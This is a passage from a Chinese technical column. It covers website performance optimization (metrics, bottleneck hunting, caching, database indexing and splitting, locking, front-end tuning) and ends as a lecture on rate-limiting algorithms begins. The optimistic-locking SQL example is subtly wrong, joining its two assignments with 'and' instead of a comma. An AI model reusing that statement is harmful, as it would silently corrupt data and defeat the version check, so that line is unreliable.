上面一条是关于“听”的，这一条则是关于“说”。对于英语能力较初级的朋友来说，发音也好，语法也好，总是有很多的问题，而即便经过了再多的练习，口音和词句的用法往往还是会和“地道”有所区别。

但是，这又有什么关系呢？平时的沟通，还是要把关注点放在内容上面。无论语法有哪些错误，发音有哪些错误，实际上它们的重要性都远不如把“内容”表达出来高。练习使用清晰、简洁的逻辑把问题描述清楚，真正达到沟通和交流的目的，日常工作生活中，不会有多少人在意你的发音。

读：从技术材料的检索和阅读开始

英语学习和技术学习，我们当然希望一举两得。我知道在开始的时候，这会比较困难，毕竟谁都有自己的舒适区。事实上，在写这个专栏的过程中，我本来找的扩展阅读材料绝大多数都是英文的，后来在编辑的建议下，才尽可能地把其中我能找得到类似质量和主题的材料换成中文的。

技术材料的阅读可以根据自己的情况循序渐进，但是在开始的时候，你要有个预期，就是阅读英文材料的速度肯定是要慢于中文材料的。作为程序员，我们也可以把自己的英文阅读目标范畴基本定在技术文档上面，从我的经历来看，技术上从中文逐渐适应到英文，还是要比生活上的切换简单得多得多。

写：学习那些文档和邮件中的惯用法

仅仅是靠自己写，没有反馈的话，你不会知道这样写对不对、好不好。很多常见的用法课本里不会写，老师未必教，你可能很明确自己的表达从语法上看是不是正确，但是大家却未必这样使用。因此阅读那些英语母语的程序员写的的技术文档，就是一个很好的积累惯用法的方法。而英文邮件，则是另一个很好的例子，阅读它们，可以积累一些书面上怎么表达的例子，怎么提问，怎么认可，怎么否定，怎么请求帮助，等等。

寻找乐趣

这是最后一点，也是最重要的一点。没有了乐趣，所有的学习都是事倍功半。最理想的状况，应该是乐于做一件事，做完了，还在不知不觉中获得了自己想要的东西。我知道有很多程序员朋友就是因为喜欢编程才逐渐走上了程序员这条路，郭德纲说过：“如果你的工作也是你的爱好，那是老天爷疼你。”英语学习也是如此，如果你在努力的过程中能得到更多的乐趣，那就是绝妙。

拿我自己来说，有两个时期我自己明显感觉英文进步比较大。一个是在读高中的时候，我是《最终幻想》的游戏迷，《最终幻想 VIII》巨长的对白文字，我当时硬是凭借一个文曲星把剧情啃下来了；另一个是工作以后，美剧《Friends》断断续续看了好几遍，从一开始看中文字幕，到后来看英文字幕，以及再后来大致可以脱离字幕……这其中，兴趣的功劳是第一位的。

好，今天的特别放送就聊到这里。这是我的体会和分享，现在我把话筒给你，不如你也说说你的故事？

34 | 网站性能优化（上）

你好，我是四火。

从今天开始我们进入“专题”这一章，本章的内容会涉及一些不适合单独归纳到前面任何一章的话题，比如这一讲和下一讲，我们来聊一聊网站的性能优化。

具体说，在这两讲性能专题中，第一讲我将介绍性能优化的基本知识，包括性能优化和软件设计的关系，性能指标和关注点，以及怎样去寻找性能瓶颈，这些是我们需要优先明确、分析和思考的内容，而不是没头没脑地直接跳进问题的坑去“优化”；而第二讲则要讲真正的“优化”了，我将从产品和架构调整，后端和持久层优化，以及前端和网络层优化这样三个方面结合例子来介绍具体的性能优化技术。

性能优化与软件设计

在最开始的部分，我想明确最重要的一件事——也许你已经听说过这句话——“好的性能是设计出来的，而不是优化出来的”。这就像是“高质量的软件是设计出来的，而不是测试出来的”一样，强调的都是软件设计的地位。因此，在设计阶段不考虑性能，而寄希望于在上线前后通过集中式的性能优化突击来将网站性能提高到另一个层次，往往是主次颠倒的。

我来举一个实际的例子说明下这一点吧。

在我参加工作不久后，曾经参与过的一个项目，用户的所有读写操作都要入库，当时的设计是把这样的数据放到关系数据库一个用户行为的表中，以供后续的查阅。上线以后，由于用户量大，操作频繁，很快这张表就变得巨大，读写的性能瓶颈都在这张表上，而且所有用户的操作都受到了影响，因为所有的操作都要写入这张表，在这时我被卷入这个项目，希望尽快解决这个性能问题。说实话，最初设计的时候没有考虑好，而这时候要做小修小改来解决这个功能的性能问题，是比较困难的。

具体来说，如果在设计阶段，这里其实是有很多可以考虑的因素的，它们都可以帮助提前介入这个性能隐患的分析和解决：

产品设计角度，用户的行为分为读操作和写操作，我们知道写操作通常更为重要，那用户的读操作是否有那么重要，可不可以只记录写操作？这样的数据有多重要，丢失的代价有多大，数据保密性是怎样的？这决定了一致性要求和数据存储在客户端是否可能。历史数据是怎样消费的，即数据访问模型是怎样的，那个时候 NoSQL 还没有兴起，但是如果不需要复杂的关系查询，这里还是可以有很大的优化空间的。

技术实现角度，能否以某种方式保留最近的若干条记录即可？这将允许某一种方式进行定期的数据淘汰、清理和归档。归档文件的组织形式又和数据访问模型有关，因为归档文件不支持任意的关系查询，那该怎样去支持特定的业务查询模型呢？比如将较老的记录归档到以用户 ID 和时间打散的历史文件中去，目的都是保证表的大小可控。哪怕是面对最糟糕的看似没有办法的“窘境”，只要预先考虑到了，我们还有对于数据库表进行 sharding 或者 partition 这样的看似“不优雅”，但是也能解决问题的通用方法。

上面我举了几个对于该性能问题的“优化”可以考虑的方面，但相信你也看到了，与其说这些手段是“优化”，倒不如说是“设计”。当时那个项目，我们被迫加班加点，周末时间顶着客户不满赶工出一个线上的临时处理方案来缓解问题，并最终花了一周时间重构这部分设计，才算彻底地解决了这个问题。

这个教训是深刻的，从工程上看，整个设计、开发、测试到运维一系列的步骤里面，我们总是不得不至少在某一个步骤做到足够细致和周全，这里的细致指的是深度，而周全则意味着广度。

最理想的情况当然是在产品设计阶段就意识到这个问题，但是这也是最难的；如果产品设计阶段做不到，那么开发实现阶段，开发人员通过深入的思考就能够意识到这个问题；如果开发阶段做不到，在测试阶段如果可以进行细致和周全的思考，也可以发现这个问题；如果测试阶段还没有做到，那就只好等着上线以后，问题发生来打脸了。当然，这里面的代价是随着工程流程向后进行而递增的。

到这里，我想你应该理解了为什么说“好的性能是设计出来的”，但是说说容易做却难。如果由于种种原因，我们还是遇到了需要在项目的中后期，来做性能优化的情况，那么这时候，我们可以遵循这样三条原则来进行：

问题定位，出现性能瓶颈，定位清楚问题的原因，是进行后面优化工作的前提；

问题解决，有时候问题比较棘手，我们可能会将解决方案划分为临时方案和长期方案，分别进行；

问题泛化，这指的是将解决一个问题泛化到更大的维度上，比如项目中还有没有类似的隐患？能不能总结经验以供未来的其他开发人员学习？这些是为了提高对未发生问题的预见性。

性能指标与关注点

在我们从产品经理手里拿到产品设计文档的时候，性能指标就应当有一定程度的明确了。性能指标基本上包含两个大类，一个是从业务角度定义的，另一个是从资源角度定义的。

通常产品经理给的需求或设计文档中，就应当包含一些关键的业务角度定义的性能指标了，但是资源角度的性能指标，产品经理通常不怎么关心。一般说来，比如我们最关心的性能指标，也往往就是从业务角度定义的，它可以说是“越高越好”；而资源角度，程序员有时考虑的却是“越低越好”，有时则是“达标就好”。

1. 业务角度

你可以回想一下 [第 21 讲]，我们在那时就介绍了缓存的使用动机，就是节约开销。这和性能指标的关注点如出一辙，既包括延迟（latency）和吞吐量（throughput），这两个同时往往也是业务角度最重要的性能指标，又包括资源消耗，这也完全符合前面说的资源角度。

延迟和吞吐量，这两个指标往往是应用性能评估中最重要的两个。先来明确二者的定义：延迟，其实就是响应时间，指的是客户端发送请求以后，到收到该请求的响应，中间需要的时间消耗；而吞吐量，指的是系统处理请求的速率，反映的是单位时间内处理请求的能力。

一般说来，延迟和吞吐量是既互斥、又相辅相成的关系。一图胜千言，且看这个典型例子（下图来自这篇文章，这个图因很有典型意义而被到处转载）：

总体来说，随着压力的增大，同等时间内应用被调用的次数增加，我们可以发现这样几个规律：

单独观察 Latency 曲线，延迟总是非递减的。一开始延迟可以说几乎不变，到了某一个特定的值（转折点）以后，延迟突然迅速增大。

再来单独观察 Throughput 曲线，吞吐量总是一个先线性增大，后来增长减缓，到达峰值后逐渐减小的过程。

再把两者结合起来观察，延迟曲线前面提到的那个转折点，和吞吐量的最高点，通常在一个比较接近的位置上，并且延迟的转折点往往要略先于吞吐量的最高点出现。

一般说来，延迟会先上升，随着延迟的上升，吞吐量增大的斜率会越来越小，直到达到最高点，之后开始回落。请注意这个系统能达到的最佳吞吐量的点，这个点往往意味着延迟已经开始增大一小段时间了，因此对于一些延迟要求比较高的系统，我们是不允许它达到这个吞吐量的最高点的。

从这个图我们也可以看出，如果我们不做流量控制，在系统压力大到一定程度的时候，系统并非只能做它“力所能及”的工作，而往往是“什么也做不成”了。这也是一些不够健壮的系统，在压力较大的特殊业务场景，直接崩溃，对所有用户都拒绝服务的原因。

其它较常见的业务角度定义的性能指标还包括：

TPS：Transactions Per Second，每秒处理的事务数。相似的还有 QPS，Queries Per Second，每秒处理的查询数量等等。

并发用户数：同一时间有多少用户在使用系统。对于网站来说，由于 HTTP 连接的无状态性，往往会使用服务端的会话数量来定义有多少用户同时访问系统。

TP99：指的是请求中 99% 的请求能达到的性能，这里的 TP 是 Top Percentile 的缩写。比如，我们说某系统响应时间的 TP99 是 1 秒，指的就是 99% 的请求，都可以在 1 秒之内响应，至于剩下的 1% 就不一定了。

关于 TP99，为什么我们使用这种分布比例的方式，而不是使用简单的平均数来定义呢？

这是因为性能平均数在真实的系统中往往不科学。举例来说，在一个系统的 100 个请求中，99 个都在 1 秒左右返回了，还有一个 100 秒还不返回，那平均时间会大于 (99 x 1 + 1 x 100) / 100，大约等于 2 秒，这显然不能反映系统的真实情况。因为那一个耗时特别长的请求其实是一个异常，而非正常的请求，正常的请求平均时间就是 1 秒，而 TP99 就比较能反映真实情况了，因为 TP99 就可以达到 1 秒。

有了 TP99 这样的概念，就可以定义系统的 SLA 了，SLA 是 Service-Level Agreement，它是系统对于它的客户所承诺的可以提供的服务质量，既包括功能，也包括性能。在性能方面，SLA 的核心定义往往就是基于 Top Percentile 来进行的。比方说，一个网站的 SLA 要求它对于浏览器响应时间的 TP95 为 3 秒。

2. 资源角度

相应的，资源指标包括 CPU 占用、内存占用、磁盘 I/O、网络 I/O 等等。常规来讲，平均使用率和峰值都是我们比较关心的两个数据。一般我们可以把系统上限的一个比例，比如 60% 或者 80% 定义为一个安全阈值，一旦超过（比如 x 分钟内有 y 次检测到指标超过该阈值，这种复杂指标设置的目的在于考虑性能波动，减少假警报）就要告警。

寻找性能瓶颈

很多时候，如果我们能找到系统的性能瓶颈，其实就已经解决了一半问题。值得注意的是，性能的瓶颈并不是系统暴露在表面的问题，比如，TP99 的延迟不达标是表面问题，而不是系统瓶颈。

大致思路

在性能优化这个繁琐的过程当中，一要寻找问题，二才是解决问题，而寻找性能瓶颈就和寻找根本原因有关，也是一个很有意思的事儿。不同的人显然会有不同的看法，我在网站项目中进行性能瓶颈的定位时，常常会遵循下面几个步骤，换句话说，这个步骤来自于我的经验：

首先，我们应该对系统有一个大致的预期。举例来说，根据现有的架构和硬件，在当前的请求模型下，我们希望单台机器能够负载 100 TPS 的请求，这些是设计阶段就考虑清楚的。我看到有些项目中，这些没有在开始定义清楚，等系统大致做好了，再来定义性能目标，这时候把性能优化的工程师推上去优化，就缺乏一定的目的性，谁也不知道优化到什么程度是个头。比方说，当前性能是 80 TPS，那么要优化到 100 TPS，可能小修小补，很小的代价就可以做到；但是要优化到 500 TPS，那么很可能要在产品和架构上做调整，代价往往是很不一样的，没有预期而直接生米煮熟饭显然是不合工程性的。

其次，过一遍待优化业务的环境、配置、代码，对于整个请求的处理流程做到心中有数。说白了，这就是走读代码，这个代码既包括应用的源码，也要了解环境和配置，知道整个流程的处理一步一步是怎样进行的。比如说，浏览器上用户触发事件以后，服务端的应用从线程池里面取得了线程来处理请求，接着查询了几次数据库，每次都从连接池中取出或建立连接，进行若干的查询或事务读写操作，再对响应做序列化返回浏览器，而浏览器收到请求以后又进行解析并将执行渲染。值得一提的是，这个过程中，全栈工程师的价值就体现出来了，因为他能够有端到端的视野来看待这个问题，分析整个流程。

再次，开始压测，缓慢、逐步增大请求速率，直到预期的业务角度的性能指标无法再提升，待系统稳定。有些指标可能一开始就不满足要求，比如某系统的延迟，在一开始就不达标；也有时候是随着压力增大才发现不达标的，比如多数系统的吞吐量，随着压力增大，吞吐量上不去了。通常，我们可以给到系统一个足够的压力，或者等于、甚至高于系统最大的吞吐量，且待系统稳定后，再来分析，这种情况下我们可以把问题暴露得更彻底。

最后，才是根据业务角度的指标来进行特定的分析，我就以最常见的延迟和吞吐量这两个为例来说明。

1. 对于延迟一类的问题

从大的流程到小的环节，从操作系统到应用本身，逐步定位，寻找端到端的时间消耗在哪里。比方说，可以优先考虑系统快照类的工具，像是 jstack、kill -3 命令可以打印系统当前的线程执行堆栈，因为这一类工具往往执行比较简单，对系统的影响较小；如果还需要进一步明确，其次再考虑侵入性较强的，运行时剖面分析（profile）类型的工具，比如 JProfiler。如果发现运行的 50 个线程里面，有 48 个卡在等某一个锁的释放上面，这就值得怀疑该锁的占用是造成延迟问题的罪魁祸首。

2. 对于吞吐量一类的问题

这类问题 CPU 是核心。在请求速率逐步增大时，我们来看这样四种情况：

吞吐量逐步上升，而 CPU 变化很小。这种情况说明系统设计得比较好，能继续“扛”更高的负载，该阶段可以继续增大请求速率。

吞吐量逐步上升，而 CPU 也平稳上升。其实这还算是一种较为理想的系统，CPU 使用随着吞吐量的上升而平稳上升，直到 CPU 成为瓶颈——这里的原因很简单，用于业务处理的 CPU 是真正“干活的”，这部分的消耗显然是少不了的。如果这种情况下 CPU 已经很高了却还要优化，那就是说在不能动硬件的情况下，我们需要改进算法了，因为 CPU 已经在拼命干活了。就像程序员一周已经加班五十个小时了，还要再压迫他们，就要出事（系统崩溃）了。

吞吐量变化很小甚至回落，而 CPU 大幅上升。这种情况说明 CPU 的确在干活，却不是用于预期内的“业务处理”。最典型的例子就是，内存泄漏，系统在一个劲地 GC，CPU 看起来忙得要命，但是却不是忙于业务。

吞吐量上不去，CPU 也上不去。这种情况其实非常常见，而且随着压力的增大，它往往伴随着延迟的上升。这种情况是说，CPU 无法成为瓶颈，因为其它瓶颈先出现了，因此这种情况下就要检查磁盘 I/O、网络带宽、工作线程数等等。这就像是一个运动员的潜力（CPU）还很大，但是由于种种原因，比如技巧问题、心理原因，潜力发挥不出来，因此我们优化的目的，就是努力找到并移除当前的瓶颈，将 CPU 的这个潜力发挥出来。

工具的分类

在定位性能瓶颈的过程中，我们会和各种各样的工具打交道，在我看来，这些工具中最典型的有这样三种类型：

截取型：截取系统某个层面的一个快照加以分析。比如一些堆栈切面和分析的工具，jstack、jmap、kill -3、MAT、Heap Analyser 等，这类工具使用简单，对系统影响往往比较小。

监控型：监视、剖析系统变化，甚至数据流向。比如 JProfiler、JConsole、JStat、BTrace 等等，如前文所述，这类工具的侵入性往往更高，甚至本身就会大幅影响性能。

验尸型：系统已经宕机或完成运行任务了，但是留下了一些“罪证”，我们在事后来分析它们。最有名的就是 JVM 挂掉之后可能会留下的 hs_err_pid.log，或者是生成的 crash dump 文件。

总结思考

今天我们学习了性能优化的基本知识，包括性能优化和软件设计的关系，性能指标和关注点，以及怎样去寻找性能瓶颈，希望你能够理解，在跳进性能优化的“坑”之前先有了足够的认识、分析和思考。

现在，我来提一个问题吧：对于下面这些资源角度定义的性能指标，你能说说在 Linux 下，该用怎样的工具或命令来查看吗？

CPU 使用率、负载；

可用内存、换页；

磁盘 I/O；

网络 I/O；

应用进程、线程。

最后，欢迎你来分享你在性能优化中做测试和寻找性能瓶颈的故事，我相信这些经历，都会很有意思。

扩展阅读

关于性能指标，我提供两篇文章你可以做扩展，一篇是美团性能优化之路——性能指标体系，另一篇是性能测试中服务器关键性能指标浅析。

第二篇也相关，来自阿里云性能测试 PTS 的官方文档，测试指标，当然，对于文档中感兴趣的章节你也可以一并通读。

35 | 网站性能优化（下）

你好，我是四火。

上一讲我们介绍了网站性能优化的基础知识，包括性能指标、关注点，以及寻找性能瓶颈的思路。那么这一讲，我们就来介绍网站性能优化的具体方法，我们将从产品和架构、后端和持久层，以及前端和网络层这样三个部分分别展开。优化的角度和方法可以说花样繁多，我在这里举一些典型的例子，希望既能给你一些内容上的介绍，进而拓宽视野，也能给你一些思考角度上的启发。

产品和架构调整

对于一个应用来说，产品和架构恰巧是两个互相对立而又相辅相成的角度。作为全栈工程师，我们当然鼓励追求细节，但是在考虑性能优化的时候，我认为还是要优先考虑从大处着眼，而不是把大量时间花费在小处的细节提升上，以期望获得较为明显的效果。这里的“大处”，就主要包含了产品和技术架构两个维度。

1. 同步变异步

如果页面聚合在服务端进行，那么渲染前等待的时间，在整个任务依赖树上面，取决于最慢的一个路径什么时候完成；而如果页面聚合是在客户端进行的，那么页面每一个子区域的渲染往往都可以以 Ajax 的方式独立进行，且同时进行，而母页面则可以首先展示给用户，减少用户的等待时间。

这里我还想补充一点，我们可以把同步和异步结合起来使用以获得最好的效果。比方说，用户对于网页加载的延迟是很敏锐的，但是用户对于一个页面上不同的信息，关注程度是不同的。

举例来说，一篇文章，标题可能是最先关注的，其次才是作者或是正文，至于评论、广告等等这些内容，优先级则更低。因此，我们可以让标题和正文内容的第一屏等高优先级的内容在服务端进行聚合后一并同步返回，这就省去了 Ajax 二次调用的时间开销，而次要内容或是某些生成特别耗时的内容，则可以使用异步方式在客户端单独加载。

2. 远程变本地

有些时候，如果能够容许牺牲一定的一致性，而将数据从远程的数据中心冗余到“本地”这样离数据使用者更近的节点，可以减少数据获取的延迟。DNS 的均衡路由就是一个例子，不同地区的用户访问同一个域名的时候，可以被定向到不同的离自己更近的节点上去；CDN 也是一个很典型的例子，静态资源可以从较近的本地节点获取。

3. 页面静态化

对于为什么要从大处着眼，我来举一个我在项目中经历过的例子。在我们的一个网站项目，模板中使用了大量的 OGNL 表达式，在做了 profiling 之后，发现 OGNL 表达式占用了相当比例的 CPU，而将其改成 EL 表达式等其它方式，这样做确实可以降低这些 CPU 的使用。这件事情其实没有错，但是这个处理的优先级应该往下放，因为这样的优化，可能只会带来 10% 左右的最终性能提升。

但是另一方面，我们逐渐引入了页面静态化技术，对于几个关键页面，它直接带来了 300% 到 800% 的性能提升，这就让前面的页面模板的调整显得无足轻重了。性能优化就是这样，并非简单的“一分耕耘一分收获”，有时候我们能找到一些优化的办法，看起来效果很明显，但是调整的代价却不大。

关于页面静态化，我来举一个 StackOverflow 的例子：

你看这个 StackOverflow 的页面，我们就可以按照页面静态化的原则来分析：把它划分为几个不同的区域，每个区域都可以具备自己特有的一致性要求，无论是页面还是数据，都可以单独做不同条件下的缓存。

比方说，正上方和左侧区域是不会变的，这些内容可以写在静态的 HTML 页面模板里，可以说是完全“静态”的；中间的主问题区域，则可能是定期或按一定规则刷新的，相当于在过期时间内也是静态的；而右上角和用户相关的数据，则需要每次页面访问实时生成，以便让不同的用户看到特有的属于他自己的内容，也就是说，这部分内容是完全“动态”的。

页面静态化的实践中，我们可以将页面解耦成不同的部分：

从产品的角度来定义每一个部分允许的一致性窗口，比如有的数据是一小时更新一次，数据可以不用非常准确，而有的则是要实时，数据要求非常准确；

而技术角度，对于每一部分不同的一致性要求，依赖于缓存的特性，也就是空间换时间，我们可以让每个部分进行分别管理，最终聚合起来（页面聚合的方式请参见 [第 09 讲]）。

在极端的情况下，整个页面是可以直接完全被缓存起来，甚至直接预先生成，而做到全页面静态化的，比如一些几乎不存在个性内容的静态博客站点就是如此。

当然，还有许多常见的其它架构上的设计，起着提高网站性能的作用，没有展开介绍，是因为它们已经被介绍过，或者是大家普遍比较熟悉了。比如说，对反向代理、集群和负载分担的使用，这些技术我们分别在 [第 28 讲] 和 [第 29 讲] 介绍过，如今几乎所有的大型网站都使用它们来组网。

后端和持久层优化

1. 串行变并行

道理上很简单，串行的逻辑，在没有依赖限制的情况下，可以并行执行。后端的逻辑如果需要执行多项操作，那么如果没有依赖，或者依赖项满足的情况下，可以立即执行，而不必一个一个挨个等待依次完成。Spring 的 @Async 注解，可以比较方便地将普通的 Java 方法调用变成异步进行的，用这种方法可以同时执行数个互不依赖的方法。

有些朋友可能知道，Amazon 是 SOA 架构（Service-Oriented Architecture，面向服务架构）最早的践行者。贝索斯在 2002 年的时候，就开始要求 Amazon 内部的所有服务，都只能以 Web 接口的形式暴露出来，供其他团队调用，而每个服务，都由专门的团队维护。如今，访问亚马逊的一个商品页，借助 SOA 架构，后台都要调用成百上千个开放的服务，你可以想象，如果这些调用是串行进行的，页面的加载时间将难以想象。

2. 数据库索引创建

凡是提到关系数据库的优化，索引的创建往往是很容易想到的优化方法之一。而对于某些支持半结构化数据存储的非关系数据库，往往也对索引存在有限的支持。

索引的创建，最常见的一个原因，是为了在查询的时候，显著减少消耗的时间。由于索引是单独以 B 树或者是 B+ 树等变种来存储的，而我们知道这样的数据结构查询的速度可以达到 log(n)，和原表相比，索引在检索时的数据的读取量又很小，因此查询速度的提升往往是立竿见影的。

但是索引创建并非是没有代价的，在关系数据库中，索引作为原表中索引列数据的一份冗余，维护它自然是有开销的，每当索引数据增、删、改发生的时候，索引也需要相应地发生变化。

3. 数据库表拆分

数据库表拆分也是一个很常见的优化方式，这里的拆分分为横向（水平）拆分和纵向（垂直）拆分两种。

横向拆分，指的是把业务意义上的同一个表，拆分到不同的数据库节点或不同子表中，也就是说，这些节点中的表结构都是一样的，当然，存储的数据是不一样的。

我们前面介绍过的 Sharding 和 Partitioning 就是属于这一类型。那么，在查询或修改的时候，我们怎么知道数据在哪台机器上呢？

这就可以根据主键做 hash 映射或者范围映射来找到相应的节点，再继续进行操作了。Hash 映射本专栏已经介绍过了，而范围映射也很常见，比如用户的交易数据，3 月份的数据一个表，4 月份的数据一个表，这就是使用时间来做范围条件的一个例子。

再来说说垂直拆分，说的是把一个表拆成多个表，甚至拆到多个库中，这时的拆分是按照不同列来进行的，拆分出的表结构是完全不一样的，表和表之间通常使用外键关联。比如有这样一个文件表：

各列分别为：唯一 ID、标题、创建日期、描述，以及以 BLOB 格式存储的文件具体内容（CONTENT）。

在这种情况下，如果执行全表扫描的查询，在文件非常大且记录数非常多的情况下，执行的过程会非常慢。这是因为一般的关系数据库是行数据库，数据是一行一行读取的（关于行数据库和列数据库的区别和原理，你可以回看 [第 25 讲]），磁盘一次读取一块，这一块内包含若干行。那么由于 CONTENT 列往往非常大，每次读取只能读到非常少的行，因此需要读取很多次才能完成全表扫描。这种情况下，我们就可以做这样的拆表优化，把这个表拆成如下两个：

你看，第一个表一下子就瘦身下来了，这个表没有了那个最大的 BLOB 对象组成的列，在全表扫描进行查询的时候，就可以比较快地进行，而当找到了相应的 ID 并需要取出 CONTENT 的时候，再根据 ID 到第二个表里面去查询出具体需要的文件来。

你可能注意到了，这种优化的动机和前提有这样两个：

查询无法单纯地走索引完成，而需要进行全表扫描或部分表扫描；

某列或某几列占用空间巨大，而它们却并不需要参与关系查询。

当这两个条件都符合的时候，我们就可以考虑垂直拆分（纵向拆表）了。

4. 悲观锁变乐观锁

在关系数据库中，如果我们提到了“锁”，就意味着我们想让数据库某条数据的写操作变得“安全”，换言之，当我们需要根据某些条件而对数据进行更改的时候，不会受到并发的其它写操作的影响，而丧失正确性或完整性。在使用“锁”来实现的时候，有悲观锁和乐观锁两种实现。

所谓悲观锁（Pessimistic Locking），指的是数据库从“最坏”的角度考虑，所以它会先使用排它锁锁定相应的行，进行相应的读判断和写操作，一旦成功了，再提交变更并释放锁资源。在使用悲观锁锁定相应行的过程中，如果有其它的写操作，是无法同时进行的，而只能等待。且看这样一组基于 SQL 的例子，它用于将用户的积分更新：

select POINTS from USERS where ID=1001 for update;
... (省略，计算得出积分需要变更为 123)
update USERS set POINTS=123 where ID=1001;

我来简单做个说明：

第一行，使用 “for update” 这个技巧来锁定 ID 为 1001 的记录，查询出当前的积分；

第二行，业务逻辑得到积分需要如何变更，假如说得出的结果是积分需要变更为 123；

第三行，执行积分变更（这里假设事务在 update 之后是配置为自动提交的）；

这样一来，如果有两条请求同时想执行以上逻辑，那么第一条请求可以执行成功，而第二条会一直等在那里，直到第一条执行完成，它再去执行。这种方式就保证了锁机制的有效性。

下面再来说说乐观锁（Optimistic Locking）。它和悲观锁正好相反，这种情况假定“大多数”的操作发生锁冲突的概率较小，使用一个当前版本号，来表示当前记录的版本。乐观锁方式下，不需要使用显示的加锁、提交这样的操作，但缺点是一旦发生冲突，整个过程要重来。我们可以把前面的步骤变成下面这样：

select POINTS, VERSION from USERS where ID=1001;
... (省略，计算得出积分需要变更为 123)
update USERS set POINTS=123 and VERSION=VERSION+1 where ID=1001 and VERSION=1;

第一行，在读取积分的时候，也一并读取到了当前的版本号，假设版本号是 1；

第二行，业务逻辑得到积分需要如何变更，假如说得出的结果是积分需要变更为 123；

第三行，更新积分为 123 并自增版本号，但是条件是版本号为 1。之后需要检测这条 update 语句影响的代码行数：如果影响的行数为 1，说明更新成功，程序结束；如果影响的行数为 0，说明在第一行读取数据以后，记录发生了变更，需要重新执行整个过程。

还有许许多多其它的后端和持久层的优化通用技术，这里就不展开了。比如缓存的应用，互联网应用有句话叫做“缓存为王”，缓存的本质就是空间换时间，在 [第 21 讲] 中我们曾经仔细聊过这部分的内容。再比如，应用之外，我们还经常需要从应用宿主和操作系统等角度来考虑，对于这部分，我在扩展阅读中我给出了一些材料供你阅读。

前端和网络层优化

当我们思考前端优化的时候，和后端一样，我们可以考虑连接、下载、解析、加载、渲染等等整个过程，先从大局上对整个时间消耗的分布有一个把握，下图来自这篇文章。

1. 减少请求次数

这是进行许多前端优化的共同目标之一，有不少全栈工程师日常在进行的实践，都遵循了这一条原则。

文本资源：CSS 压缩、JavaScript 压缩。有两个静态资源的后期处理方式我们经常结合起来使用，一个是压缩，一个是混淆。前者将多个文件压缩成一个，目的是减少大小，而更重要的是减少请求数；后者则是将变量使用无意义的名称替代，目的就是让产品代码“难懂”，减少代码实际意义的泄露。

图像资源：CSS Sprites 和 Inline Image。前者又叫做雪碧图、精灵图，是将网站所用的多张图片拼成一张，这样多张图片只需要下载一次，而使用 CSS 中的 background-image 和 background-position 在目标位置选择显示哪一张图片。后者则是干脆将二进制的图片使用 Base64 算法序列化成文本，直接嵌入在原始页面上。

缓存控制头部。即 Cache-Control 头，这部分我们在 [第 21 讲] 已经介绍过；还有 Etag 头，浏览器会把它发送给服务端用于鉴别目标资源是否发生了更改，如果没有更改，一个 304 响应会返回；以及 Expires 头，是服务端来指定过期时间的。

2. 减少渲染次数

CSS 或者 DOM 的变化都会引发渲染，而渲染是由单独的线程来进行的，这个过程会阻塞用户的操作。对于较大的页面、DOM 较多的页面，浏览器渲染会占用大量的 CPU 并带来明显的停顿时间。

渲染其实包括两种，一种是 reflow，就是页面元素的位置、间隔等等发生更改，这个工作是由 CPU 完成的；另一种叫做 repaint，基本上就是当颜色等发生变更的时候就需要重新绘制，这个工作是由 GPU 完成的。

因此，如果我们能够减少反复、多次，或是无意义的渲染，就可以在一定程度上为 Web 应用提速，特别是 reflow。那么对于这方面优化的其中一个思路，就是合并操作，即可以合并多个 DOM 操作为一次进行，或是合并单个 DOM 的多次操作为一次进行（React 或者 Vue.js 的 Virtual DOM 技术就借鉴了这种思路）。

3. 减少 JavaScript 阻塞

JavaScript 阻塞，本质上是由于 JavaScript 解释执行是单线程所造成的，阻塞期间浏览器拒绝响应用户的操作。同步的 Ajax 调用会引发阻塞（一直阻塞到响应返回），耗时的 JavaScript 代码执行也会引起阻塞。

我们通过将大的工作分裂成多次执行（可以通过每次具备一定间隔时间的回调来实现），每次执行后主动让出执行线程，这样每次就可以只阻塞一小会儿，以显著减少 JavaScript 阻塞对用户造成的影响；而对于一些独立的耗时操作，可以引入 Web Worker 分配单独运行的线程来完成。

4. 文本消息压缩

对于页面这样的文本内容，通过配置 Web 容器的 gzip 压缩，可以获得很好的压缩比，从而减小消息体的大小，减少消息传输的时间，代价是压缩和解压缩需要消耗 CPU 时间。

这种优化的本质是时间换空间，而前面介绍过的缓存本质则是空间换时间，二者比起来，刚好是相反的。可有趣的是，它们的目的却是一致的，都是为了缩短用户访问的时间，都是为了减少延迟。

对于前端的优化，技巧比较零散，可能有不少朋友会想起那最著名的 35 条军规（中文译文有不少，比如这里），这篇文章是如今很多前端技能优化学习首先要阅读的“老文章”了。

总结思考

今天我从产品和架构、后端和持久化，以及前端和网络层三个角度，结合一些具体的技巧，向你介绍了一些常见的网站性能优化方法。网站的性能优化是一个大课题，希望你在学完上一讲和这一讲之后，你能从前到后比较全面地去分析和思考问题。

下面我来提两个问题吧：

你在项目中是否做过性能优化的工作，能否介绍一下你都进行了哪些有效的优化实践呢？

文中介绍了数据库表拆分的两种方式，水平拆分和垂直拆分，它们都带来了显而易见的好处。可是，我们总是需要辩证地去看待一项技术，你能说出它们会带来哪些坏处吗？

扩展阅读

文中提到了 Amazon 对于 SOA 的实践，你可以阅读这篇文章简单了解一下这个故事。

本文主要讲的还是应用层面的调优，没有介绍虚拟机、容器等性能优化和操作系统的性能优化。如果你对它们感兴趣的话，我在这里推荐两个材料。关于 JVM 调优，可以参看 Java 应用性能调优实践这篇，而操作系统层面的性能优化，你可以从 Linux 性能调优指南这个材料中找感兴趣的阅读。

从 Webkit 内部渲染机制出发，谈网站渲染性能优化，这篇文章是从浏览器的机制这个角度来讲性能优化的，推荐一读。

文中介绍了 reflow 和 repaint，对于这方面的优化可以阅读 reflow 和 repaint 引发的性能问题这篇文章。

36 | 全栈开发中的算法（上）

你好，我是四火。

在本专栏中，我们已经接触到了全栈开发中的一些算法了。在这一讲和下一讲中，我又精心挑选了几个比较重要的。和单纯地从数学角度去介绍算法不同，我想结合几个全栈开发中实际、典型的问题场景，向你介绍这几个相关的重要算法。毕竟，我们关心的算法，其实就是可以解决实际问题的方法的一种数学抽象。

希望通过这两讲的学习，你能理解这些算法。除了理解算法原理本身，我们更要抓住它们的用途和算法自身的巧妙之处。今天我们来讲其中的第一个典型的问题场景——流量控制。

流量控制系统中的算法

对于全栈工程师来说，无论是网站，还是其它 Web 应用，一旦对外商用，就要考虑流量控制的问题。因此我们往往需要设计使用单独的流量控制模块，我们来看下面这样的一个问题。

假如说，我们现在需要给一组 Web API 设计一个流量控制系统，以避免请求对系统的过度冲击，对于任意一个用户账户 ID，每一个 API 都要满足下面所有的要求：

